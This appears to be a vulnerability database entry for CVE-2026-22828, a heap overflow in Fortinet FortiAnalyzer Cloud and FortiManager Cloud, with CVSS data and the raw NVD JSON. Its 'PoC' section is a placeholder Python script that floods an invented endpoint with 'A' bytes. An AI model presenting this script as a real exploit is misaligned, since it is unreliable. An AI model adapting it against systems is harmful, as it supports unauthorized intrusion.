Security Vulnerability Report
中文
CVE-2026-22828 CVSS 8.1 HIGH

CVE-2026-22828

Published: 2026-04-14 16:16:37
Last Modified: 2026-05-01 12:38:14

Description

A heap-based buffer overflow vulnerability in Fortinet FortiAnalyzer Cloud 7.6.2 through 7.6.4, FortiManager Cloud 7.6.2 through 7.6.4 may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests. Successful exploitation would require a large amount of effort in preparation because of ASLR and network segmentation

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:fortinet:fortianalyzer_cloud:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:fortinet:fortimanager_cloud:*:*:*:*:*:*:*:* - VULNERABLE
FortiAnalyzer Cloud 7.6.2
FortiAnalyzer Cloud 7.6.3
FortiAnalyzer Cloud 7.6.4
FortiManager Cloud 7.6.2
FortiManager Cloud 7.6.3
FortiManager Cloud 7.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# This is a conceptual Proof of Concept (PoC) for demonstration purposes only. # It demonstrates the logic for sending a crafted request to trigger the buffer overflow. # Do not use against systems you do not own or have explicit permission to test. import socket import sys def send_exploit(target_ip, target_port): # Crafting a malicious payload designed to overflow the heap buffer # The specific size and offset depend on the target version and analysis payload = b"A" * 4096 # Placeholder for the buffer overflow pattern # Constructing the HTTP request (Hypothetical structure based on vulnerability type) # The actual vulnerable endpoint and HTTP method need to be determined through reverse engineering request = b"POST /vulnerable_endpoint HTTP/1.1\r\n" request += b"Host: " + target_ip.encode() + b"\r\n" request += b"Content-Length: " + str(len(payload)).encode() + b"\r\n" request += b"\r\n" request += payload try: print(f"[*] Sending payload to {target_ip}:{target_port}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) s.send(request) response = s.recv(1024) print("[+] Payload sent. Check target for crash or code execution.") s.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 cve_2026_22828_poc.py <target_ip> <target_port>") sys.exit(1) target_ip = sys.argv[1] target_port = int(sys.argv[2]) send_exploit(target_ip, target_port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22828", "sourceIdentifier": "[email protected]", "published": "2026-04-14T16:16:37.110", "lastModified": "2026-05-01T12:38:14.140", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A heap-based buffer overflow vulnerability in Fortinet FortiAnalyzer Cloud 7.6.2 through 7.6.4, FortiManager Cloud 7.6.2 through 7.6.4 may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests. Successful exploitation would require a large amount of effort in preparation because of ASLR and network segmentation"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortianalyzer_cloud:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.2", "versionEndExcluding": "7.6.5", "matchCriteriaId": "DD316E76-BA1D-49B1-87D8-2F34BA65CD0E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fortinet:fortimanager_cloud:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.6.2", "versionEndExcluding": "7.6.5", "matchCriteriaId": "68A18EB0-B6E2-4419-A476-125BFB1A80C1"}]}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-121", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}